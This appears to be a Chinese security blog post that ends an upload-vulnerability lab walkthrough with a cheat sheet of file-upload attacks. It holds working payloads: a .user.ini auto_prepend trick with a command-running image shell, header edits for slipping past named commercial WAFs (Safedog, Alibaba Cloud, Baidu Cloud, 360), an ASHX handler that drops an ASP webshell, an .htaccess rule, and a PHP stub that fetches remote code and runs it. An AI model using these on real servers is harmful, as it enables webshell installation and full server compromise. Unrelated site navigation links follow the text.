    11             $img_path = $UPLOAD_ADDR . '/' .$file_name;
    12             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
    13                 $is_upload = true;
    14             }else{
    15                 $msg = '上传失败!';
    16             }
    17         }else{
    18             $msg = '禁止保存为该类型文件!';
    19         }
    20 
    21     } else {
    22         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    23     }
    24 }

    原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg

     ------------------

    于2019.10.24补充

    今天在先知社区看到

    https://xz.aliyun.com/t/6091

    https://xz.aliyun.com/t/6587

    学习到了利用.user.ini来上传php后门

    利用条件:

    1. 服务器脚本语言为PHP
    2. 服务器使用CGI/FastCGI模式
    3. 上传目录下要有可执行的php文件

    利用步骤:

    1.首先上传一个这样的.user.ini

    GIF89a
    auto_prepend_file=1.jpg

    2.然后在上传这样一个图片马 1.jpg

    GIF89a
    <script language='php'>system('whoami');</script>

    不过需要上传的目录下有一个可执行的php文件

    上传完毕直接访问这个可执行php文件即可

    ------------------------------

    于2019.11.07日补充

    在微信公众号上看到了一篇绕waf的文件上传

    WAF绕过

    安全狗绕过

    1.绕过思路:对文件的内容,数据。数据包进行处理。

    关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
    将form-data;            修改为~form-data;

    2.通过替换大小写来进行绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    Content-Type: application/octet-stream
    将 Content-Disposition    修改为content-Disposition
    将 form-data              修改为Form-data
    将 Content-Type           修改为content-Type

    3.通过删减空格来进行绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    Content-Type: application/octet-stream
    将 Content-Disposition: form-data           冒号后面 增加或减少一个空格
    将 form-data; name="file";                  分号后面 增加或减少一个空格
    将 Content-Type: application/octet-stream   冒号后面 增加一个空格

    4.通过字符串拼接绕过

    看Content-Disposition: form-data; name="file"; filename="yjh3.php"
    将 form-data 修改为   f+orm-data
    将 from-data 修改为   form-d+ata

    5.双文件上传绕过

    <form action="https://www.xxx.com/xxx.asp(php)" method="post"
    name="form1" enctype="multipart/form‐data">
    <input name="FileName1" type="FILE" class="tx1" size="40">
    <input name="FileName2" type="FILE" class="tx1" size="40">
    <input type="submit" name="Submit" value="上传">
    </form>

    6.HTTP header 属性值绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    我们通过替换form-data 为*来绕过
    Content-Disposition: *; name="file"; filename="yjh.php"

    7.HTTP header 属性名称绕过

    源代码:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
    绕过内容如下:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
    C.php"
    删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

    8.等效替换绕过

    原内容:
    Content-Type: multipart/form-data; boundary=---------------------------471463142114
    修改后:
    Content-Type: multipart/form-data; boundary =---------------------------471463142114
    boundary后面加入空格。

    9.修改编码绕过

    使用UTF-16、Unicode、双URL编码等等

    WTS-WAF 绕过上传

    原内容:
    Content-Disposition: form-data; name="up_picture"; filename="xss.php"
    添加回车
    Content-Disposition: form-data; name="up_picture"; filename="xss.php"

    百度云上传绕过

    百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
    Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

    阿里云上传绕过

    源代码:
    Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
    修改如下:
    Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
    没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

    360主机上传绕过

    源代码:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
    绕过内容如下:
    Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
    Content-Disposition 修改为 Content-空格Disposition

    MIME类型绕过

    上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

    文件内容检测绕过

    抓包,在正常图片末尾添加一句话木马

    多次上传Win特性绕过

    多次上传同一个文件,windows会自动更新补全TEST (1).php。
    有时会触发条件竞争,导致绕过。

    条件竞争绕过

    通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

    CONTENT-LENGTH绕过

    针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

    文件内容检测绕过

    针对文件内容检测的绕过,一般有两种方式,
      1.制作图片马
      2.文件幻术头绕过

    垃圾数据填充绕过

    修改HTTP请求,再之中加入大量垃圾数据。

    黑名单后缀绕过

    文件扩展名绕过

    Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

    ashx上传绕过

    cer,asa,cdx等等无法使用时候。
    解析后就会生成一个test.asp的马,你就可以连接这个test.asp  密码为:put
    <%@ WebHandler Language="C#" Class="Handler" %>
    using System;
    using System.Web;
    using System.IO;
    public class Handler : IHttpHandler {
    
        public void ProcessRequest (HttpContext context) {
            context.Response.ContentType = "text/plain";
    
            //这里会在目录下生成一个test.asp的文件
            StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
            //这里是写入一句话木马   密码是:ptu
            file1.Write("<%response.clear:execute request("put"):response.End%>");
            file1.Flush();
            file1.Close();
        }
        public bool IsReusable {
            get {
                return false;
            }
        }
    
    }

    特殊文件名绕过

    比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
    在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
    被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。

    Windows流特性绕过

    php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

    白名单后缀绕过

    00截断绕过上传

    php .jpg   空格二进制20改为00
    IIS 6.0 目录路径检测解析绕过
    上传路径改为
    XXX/1.asp/

    htaccess解析漏洞

    上传的jpg文件都会以php格式解析
    .htaccess内容:
    AddType    application/x-httpd-php    .jpg

    突破MIME限制上传

    方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。

    Apache解析漏洞

    1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
    2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是x0A,如上传a.php,然后在burp中修改文件名为a.phpx0A),以此来绕过一些黑名单过滤。

    IIS解析漏洞

    IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
    那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
    会优先按asp来解析
    IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
    后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

    Nginx解析漏洞

    解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
    描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
    的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
    还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

    解析漏洞

    Content-Disposition: form-data; name="file";  filename=php.php;.jpg

    前端限制绕过

    1.使用BURP抓包修改后重放
    2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

    下载绕过

    远程下载文件绕过

    <?php
    $str = file_get_contents('http://127.0.0.1/ian.txt');
    $str($_post['ian']);
    ?>

    文件包含绕过

    上传图片木马
    $x=$_GET['x'];
    include($x);
    访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

    推荐阅读:

          http://0-sec.org/

  • 相关阅读:
    Idea 一些常用的小工具
    玩转SpringBoot之定时任务详解
    mysql 创建自定义函数
    mysql
    一段mysql脚本,生成一些随机数时使用。
    mysql 命令行常用操作与mysql too many connections 解决方法
    如何获取多个分组之后的第一条数据
    Linux aliyun ECS CentOS8 服务器安装Redis 部署集群 ,JDK安装与Tomcat配置
    Redis 各个版本下载地址
    centos7安装mysql5.7(rpm安装版)与 Mysql 权限
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9141322.html
Copyright © 2011-2022 走看看